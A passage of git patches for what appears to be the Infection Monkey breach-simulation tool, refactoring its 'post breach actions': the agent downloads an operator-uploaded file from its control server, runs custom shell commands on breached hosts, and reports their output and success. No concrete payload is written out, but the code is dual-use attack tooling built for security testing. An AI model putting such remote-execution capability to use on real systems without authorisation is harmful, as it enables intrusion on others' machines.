--- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -36,7 +36,7 @@ class PBA(object): if command: hostname = socket.gethostname() ControlClient.send_telemetry('post_breach', {'command': command, - 'output': exec_funct(), + 'result': exec_funct(), 'name': self.name, 'hostname': hostname, 'ip': socket.gethostbyname(hostname) @@ -46,18 +46,23 @@ class PBA(object): """ Default linux PBA execution function. Override it if additional functionality is needed """ - self._execute_default(self.linux_command) + return self._execute_default(self.linux_command) def _execute_win(self): """ Default linux PBA execution function. Override it if additional functionality is needed """ - self._execute_default(self.windows_command) + return self._execute_default(self.windows_command) @staticmethod def _execute_default(command): + """ + Default post breach command execution routine + :param command: What command to execute + :return: Tuple of command's output string and boolean, indicating if it succeeded + """ try: - return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) + return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True except subprocess.CalledProcessError as e: # Return error output of the command - return e.output + return e.output, False diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index e0f7135b1..4e9f269ac 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -51,22 +51,22 @@ class PostBreach(object): command_pba = PBA(name="Custom") # Add linux commands to PBA's - if config['PBA_linux_filename']: - if config['custom_PBA_linux_cmd']: - file_pba.linux_command = config['custom_PBA_linux_cmd'] + if config.PBA_linux_filename: + if config.custom_PBA_linux_cmd: + file_pba.linux_command = config.custom_PBA_linux_cmd else: file_pba.add_default_command(is_linux=True) - elif config['custom_PBA_linux_cmd']: - command_pba.linux_command = config['custom_PBA_linux_cmd'] + elif config.custom_PBA_linux_cmd: + command_pba.linux_command = config.custom_PBA_linux_cmd # Add windows commands to PBA's - if config['PBA_windows_filename']: - if config['custom_PBA_windows_cmd']: - file_pba.windows_command = config['custom_PBA_windows_cmd'] + if config.PBA_windows_filename: + if config.custom_PBA_windows_cmd: + file_pba.windows_command = config.custom_PBA_windows_cmd else: file_pba.add_default_command(is_linux=False) - elif config['custom_PBA_windows_cmd']: - command_pba.windows_command = config['custom_PBA_windows_cmd'] + elif config.custom_PBA_windows_cmd: + command_pba.windows_command = config.custom_PBA_windows_cmd # Add PBA's to list if file_pba.linux_command or file_pba.windows_command: diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 3b0a85b52..08e4f752d 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -55,13 +55,13 @@ class FileUpload(flask_restful.Resource): :param file_type: Type indicates which file was deleted, linux of windows :return: Empty response """ - file_conf_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH - filename = ConfigService.get_config_value(file_conf_path) + filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH + filename = ConfigService.get_config_value(filename_path) file_path = os.path.join(UPLOADS_DIR, filename) try: if os.path.exists(file_path): os.remove(file_path) - ConfigService.set_config_value(file_conf_path, {'size': '0', 'name': ''}) + ConfigService.set_config_value(filename_path, '') except OSError as e: LOG.error("Can't remove previously uploaded post breach files: %s" % e) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 17bed6782..6e0eb66a6 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -4,9 +4,7 @@ import functools import logging from jsonschema import Draft4Validator, validators from six import string_types -from werkzeug.utils import secure_filename import os -import base64 from cc.database import mongo from cc.encryptor import encryptor @@ -36,7 +34,7 @@ ENCRYPTED_CONFIG_STRINGS = \ ['cnc', 'aws_config', 'aws_secret_access_key'] ] -UPLOADS_DIR = '/cc/userUploads' +UPLOADS_DIR = 'monkey_island/cc/userUploads' # Where to find file names in config PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename'] @@ -315,14 +313,12 @@ class ConfigService: @staticmethod def remove_PBA_files(): if ConfigService.get_config(): - linux_file_name = ConfigService.get_config_value( - ['monkey', 'behaviour', 'custom_post_breach', 'linux_file_info', 'name']) - windows_file_name = ConfigService.get_config_value( - ['monkey', 'behaviour', 'custom_post_breach', 'windows_file_info', 'name']) - if linux_file_name: - ConfigService.remove_file(linux_file_name) - if windows_file_name: - ConfigService.remove_file(windows_file_name) + linux_filename = ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) + windows_filename = ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) + if linux_filename: + ConfigService.remove_file(linux_filename) + if windows_filename: + ConfigService.remove_file(windows_filename) @staticmethod def remove_file(file_name): diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d800afe9c..382b591db 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -329,13 +329,13 @@ SCHEMA = { "Reference your file by filename." }, "custom_PBA_windows_cmd": { - "title": "Windows command", + "title": "Windows post breach command", "type": "string", "default": "", "description": "Windows command to be executed after breaching." }, "PBA_windows_file": { - "title": "Windows file", + "title": "Windows post breach file", "type": "string", "format": "data-url", "description": "File to be executed after breaching. " diff --git a/monkey/monkey_island/cc/ui/src/components/AuthComponent.js b/monkey/monkey_island/cc/ui/src/components/AuthComponent.js index 428c3272a..9eb02a397 100644 --- a/monkey/monkey_island/cc/ui/src/components/AuthComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/AuthComponent.js @@ -6,6 +6,7 @@ class AuthComponent extends React.Component { super(props); this.auth = new AuthService(); this.authFetch = this.auth.authFetch; + this.jwtHeader = this.auth.jwtHeader(); } } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index d6b1a2156..bb369fa73 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -198,7 +198,13 @@ class ConfigurePageComponent extends AuthComponent { PBAwindows = () => { return ( { this.setState({ @@ -211,7 +217,13 @@ class ConfigurePageComponent extends AuthComponent { PBAlinux = () => { return ( { this.setState({ diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index 5790e26e5..7fac2a167 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -13,9 +13,19 @@ let renderMachine = function (data) { return
{data.label} ( {renderIpAddresses(data)} )
}; +let renderPbaResults = function (results) { + let pbaClass = ""; + if (results[1]){ + pbaClass="pba-success" + } else { + pbaClass="pba-danger" + } + return
{results[0]}
+}; + const subColumns = [ {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'white-space': 'unset' }}, - {id: 'pba_output', Header: "Output", accessor: x => x.output, style: { 'white-space': 'unset' }} + {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'white-space': 'unset' }} ]; let renderDetails = function (data) { diff --git a/monkey/monkey_island/cc/ui/src/index.js b/monkey/monkey_island/cc/ui/src/index.js index 3a701b52e..329e94dfe 100644 --- a/monkey/monkey_island/cc/ui/src/index.js +++ b/monkey/monkey_island/cc/ui/src/index.js @@ -4,8 +4,6 @@ import ReactDOM from 'react-dom'; import 'babel-polyfill'; import App from './components/Main'; import Bootstrap from 'bootstrap/dist/css/bootstrap.css'; // eslint-disable-line no-unused-vars -import { FilePond, registerPlugin } from 'react-filepond'; -import 'filepond/dist/filepond.min.css'; // Render the main component into the dom ReactDOM.render(, document.getElementById('app')); diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 547b14272..9c62bde63 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -15,6 +15,12 @@ export default class AuthService { return this._authFetch(url, options); }; + jwtHeader = () => { + if (this._loggedIn()) { + return 'JWT ' + this._getToken(); + } + }; + hashSha3(text) { let hash = new SHA3(512); hash.update(text); diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 926052d7a..6155a4dcc 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -424,6 +424,14 @@ body { top: 30%; } +.pba-danger { + background-color: #ffc7af; +} + +.pba-success { + background-color: #afd2a2; +} + /* Print report styling */ @media print { From 50f2db4b22b66253c93b6e12eb7878eaa88ab34e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 14 Mar 2019 19:20:21 +0200 Subject: [PATCH 17/19] Removed unused import --- monkey/infection_monkey/post_breach/post_breach_handler.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 4e9f269ac..f0d9c53dc 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -1,6 +1,5 @@ import logging import infection_monkey.config -import platform from file_execution import FileExecution from pba import PBA from infection_monkey.utils import is_windows_os From 1c3e69cbb9365d4a9e447906df010d01c1f7fd1c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 26 Mar 2019 20:02:50 +0200 Subject: [PATCH 18/19] PR notes fixed, command + file bugs fixed --- .../post_breach/file_execution.py | 30 ++++--------- .../post_breach/post_breach_handler.py | 42 ++++++++++-------- .../cc/resources/pba_file_download.py | 4 +- .../cc/resources/pba_file_upload.py | 3 +- monkey/monkey_island/cc/resources/root.py | 3 +- monkey/monkey_island/cc/services/config.py | 43 ++----------------- .../cc/services/post_breach_files.py | 43 +++++++++++++++++++ .../report-components/PostBreach.js | 2 +- 8 files changed, 86 insertions(+), 84 deletions(-) create mode 100644 monkey/monkey_island/cc/services/post_breach_files.py diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py index 025e1252a..5f52a29a6 100644 --- a/monkey/infection_monkey/post_breach/file_execution.py +++ b/monkey/infection_monkey/post_breach/file_execution.py @@ -1,8 +1,8 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.control import ControlClient from infection_monkey.config import WormConfiguration +from infection_monkey.utils import get_monkey_dir_path import requests -import shutil import os import logging @@ -25,27 +25,25 @@ class FileExecution(PBA): super(FileExecution, self).__init__("File execution", linux_command, windows_command) def _execute_linux(self): - FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), - self.linux_filename) + FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename) return super(FileExecution, self)._execute_linux() def _execute_win(self): - FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), - self.windows_filename) + FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename) return super(FileExecution, self)._execute_win() def add_default_command(self, is_linux): """ - Replaces current (likely empty) command with default file execution command. + Replaces current (likely empty) command with default file execution command (that changes permissions, executes + and finally deletes post breach file). + Default commands are defined as globals in this module. :param is_linux: Boolean that indicates for which OS the command is being set. """ if is_linux: - file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=True), - self.linux_filename) + file_path = os.path.join(get_monkey_dir_path(), self.linux_filename) self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path) else: - file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=False), - self.windows_filename) + file_path = os.path.join(get_monkey_dir_path(), self.windows_filename) self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path) @staticmethod @@ -63,18 +61,8 @@ class FileExecution(PBA): proxies=ControlClient.proxies) try: with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: - shutil.copyfileobj(PBA_file_contents, written_PBA_file) + written_PBA_file.write(PBA_file_contents.content) return True except IOError as e: LOG.error("Can not download post breach file to target machine, because %s" % e) return False - - @staticmethod - def get_dest_dir(config, is_linux): - """ - Gets monkey directory from config. (We put post breach files in the same dir as monkey) - """ - if is_linux: - return os.path.dirname(config.dropper_target_path_linux) - else: - return os.path.dirname(config.dropper_target_path_win_32) diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index f0d9c53dc..76788f851 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -3,11 +3,14 @@ import infection_monkey.config from file_execution import FileExecution from pba import PBA from infection_monkey.utils import is_windows_os +from infection_monkey.utils import get_monkey_dir_path LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' +DIR_CHANGE_WINDOWS = 'cd %s & ' +DIR_CHANGE_LINUX = 'cd %s ; ' class PostBreach(object): """ @@ -31,7 +34,6 @@ class PostBreach(object): Returns a list of PBA objects generated from config. :param config: Monkey configuration :return: A list of PBA objects. - TODO: Parse PBA's from PBA array (like 'add_user'). Also merge the whole outdated PBA structure into this one. """ pba_list = [] pba_list.extend(PostBreach.get_custom_PBA(config)) @@ -49,23 +51,27 @@ class PostBreach(object): file_pba = FileExecution() command_pba = PBA(name="Custom") - # Add linux commands to PBA's - if config.PBA_linux_filename: - if config.custom_PBA_linux_cmd: - file_pba.linux_command = config.custom_PBA_linux_cmd - else: - file_pba.add_default_command(is_linux=True) - elif config.custom_PBA_linux_cmd: - command_pba.linux_command = config.custom_PBA_linux_cmd - - # Add windows commands to PBA's - if config.PBA_windows_filename: - if config.custom_PBA_windows_cmd: - file_pba.windows_command = config.custom_PBA_windows_cmd - else: - file_pba.add_default_command(is_linux=False) - elif config.custom_PBA_windows_cmd: - command_pba.windows_command = config.custom_PBA_windows_cmd + if not is_windows_os(): + # Add linux commands to PBA's + if config.PBA_linux_filename: + if config.custom_PBA_linux_cmd: + # Add change dir command, because user will try to access his file + file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd + else: + file_pba.add_default_command(is_linux=True) + elif config.custom_PBA_linux_cmd: + command_pba.linux_command = config.custom_PBA_linux_cmd + else: + # Add windows commands to PBA's + if config.PBA_windows_filename: + if config.custom_PBA_windows_cmd: + # Add change dir command, because user will try to access his file + file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \ + config.custom_PBA_windows_cmd + else: + file_pba.add_default_command(is_linux=False) + elif config.custom_PBA_windows_cmd: + command_pba.windows_command = config.custom_PBA_windows_cmd # Add PBA's to list if file_pba.linux_command or file_pba.windows_command: diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py index a991859c2..b4a33984e 100644 --- a/monkey/monkey_island/cc/resources/pba_file_download.py +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -1,6 +1,6 @@ import flask_restful from flask import send_from_directory -from cc.services.config import UPLOADS_DIR +from cc.resources.pba_file_upload import GET_FILE_DIR __author__ = 'VakarisZ' @@ -11,4 +11,4 @@ class PBAFileDownload(flask_restful.Resource): """ # Used by monkey. can't secure. def get(self, path): - return send_from_directory(UPLOADS_DIR, path) + return send_from_directory(GET_FILE_DIR, path) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 08e4f752d..9a24a9a90 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -1,6 +1,7 @@ import flask_restful from flask import request, send_from_directory, Response -from cc.services.config import ConfigService, PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR +from cc.services.config import ConfigService +from cc.services.post_breach_files import PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR from cc.auth import jwt_required import os from werkzeug.utils import secure_filename diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 1a18c2611..923535096 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -10,6 +10,7 @@ from cc.services.config import ConfigService from cc.services.node import NodeService from cc.services.report import ReportService from cc.utils import local_ip_addresses +from cc.services.post_breach_files import remove_PBA_files __author__ = 'Barak' @@ -42,7 +43,7 @@ class Root(flask_restful.Resource): @staticmethod @jwt_required() def reset_db(): - ConfigService.remove_PBA_files() + remove_PBA_files() # We can't drop system collections. [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] ConfigService.init_config() diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 6e0eb66a6..87b4bf914 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -4,7 +4,7 @@ import functools import logging from jsonschema import Draft4Validator, validators from six import string_types -import os +import cc.services.post_breach_files from cc.database import mongo from cc.encryptor import encryptor @@ -34,12 +34,6 @@ ENCRYPTED_CONFIG_STRINGS = \ ['cnc', 'aws_config', 'aws_secret_access_key'] ] -UPLOADS_DIR = 'monkey_island/cc/userUploads' - -# Where to find file names in config -PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename'] -PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename'] - class ConfigService: default_config = None @@ -152,7 +146,7 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): # PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there - ConfigService.keep_PBA_files(config_json) + cc.services.post_breach_files.set_config_PBA_files(config_json) if should_encrypt: try: ConfigService.encrypt_config(config_json) @@ -163,18 +157,6 @@ class ConfigService: logger.info('monkey config was updated') return True - @staticmethod - def keep_PBA_files(config_json): - """ - Sets PBA file info in config_json to current config's PBA file info values. - :param config_json: config_json that will be modified - """ - if ConfigService.get_config(): - linux_filename = ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) - windows_filename = ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) - config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename - config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename - @staticmethod def init_default_config(): if ConfigService.default_config is None: @@ -200,7 +182,7 @@ class ConfigService: @staticmethod def reset_config(): - ConfigService.remove_PBA_files() + cc.services.post_breach_files.remove_PBA_files() config = ConfigService.get_default_config(True) ConfigService.set_server_ips_in_config(config) ConfigService.update_config(config, should_encrypt=False) @@ -309,22 +291,3 @@ class ConfigService: pair['public_key'] = encryptor.dec(pair['public_key']) pair['private_key'] = encryptor.dec(pair['private_key']) return pair - - @staticmethod - def remove_PBA_files(): - if ConfigService.get_config(): - linux_filename = ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) - windows_filename = ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) - if linux_filename: - ConfigService.remove_file(linux_filename) - if windows_filename: - ConfigService.remove_file(windows_filename) - - @staticmethod - def remove_file(file_name): - file_path = os.path.join(UPLOADS_DIR, file_name) - try: - if os.path.exists(file_path): - os.remove(file_path) - except OSError as e: - logger.error("Can't remove previously uploaded post breach files: %s" % e) diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py new file mode 100644 index 000000000..076fa7159 --- /dev/null +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -0,0 +1,43 @@ +import cc.services.config +import logging +import os + +__author__ = "VakarisZ" + +logger = logging.getLogger(__name__) + +# Where to find file names in config +PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename'] +PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename'] +UPLOADS_DIR = 'monkey_island/cc/userUploads' + + +def remove_PBA_files(): + if cc.services.config.ConfigService.get_config(): + windows_filename = cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) + linux_filename = cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) + if linux_filename: + remove_file(linux_filename) + if windows_filename: + remove_file(windows_filename) + + +def remove_file(file_name): + file_path = os.path.join(UPLOADS_DIR, file_name) + try: + if os.path.exists(file_path): + os.remove(file_path) + except OSError as e: + logger.error("Can't remove previously uploaded post breach files: %s" % e) + + +def set_config_PBA_files(config_json): + """ + Sets PBA file info in config_json to current config's PBA file info values. + :param config_json: config_json that will be modified + """ + if cc.services.config.ConfigService.get_config(): + linux_filename = cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) + windows_filename = cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) + config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename + config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index 7fac2a167..84ca14850 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -58,7 +58,7 @@ class PostBreachComponent extends React.Component { render() { let pbaMachines = this.props.data.filter(function(value, index, arr){ - return ( value.pba_results !== "None" && value.pba_results.length); + return ( value.pba_results !== "None" && value.pba_results.length > 0); }); let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length; let showPagination = pbaMachines > pageSize; From 266933abb47da8f2abb632dfe4ba10248ba18d55 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 26 Mar 2019 20:09:09 +0200 Subject: [PATCH 19/19] Added custom post breach values to example.conf --- monkey/infection_monkey/example.conf | 4 ++++ monkey/infection_monkey/post_breach/post_breach_handler.py | 1 + 2 files changed, 5 insertions(+) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index ca8041382..cf79dbccc 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -98,4 +98,8 @@ "victims_max_exploit": 7, "victims_max_find": 30, "post_breach_actions" : [] + custom_PBA_linux_cmd = "" + custom_PBA_windows_cmd = "" + PBA_linux_filename = None + PBA_windows_filename = None } diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 76788f851..ff24ebbbb 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -12,6 +12,7 @@ __author__ = 'VakarisZ' DIR_CHANGE_WINDOWS = 'cd %s & ' DIR_CHANGE_LINUX = 'cd %s ; ' + class PostBreach(object): """ This class handles post breach actions execution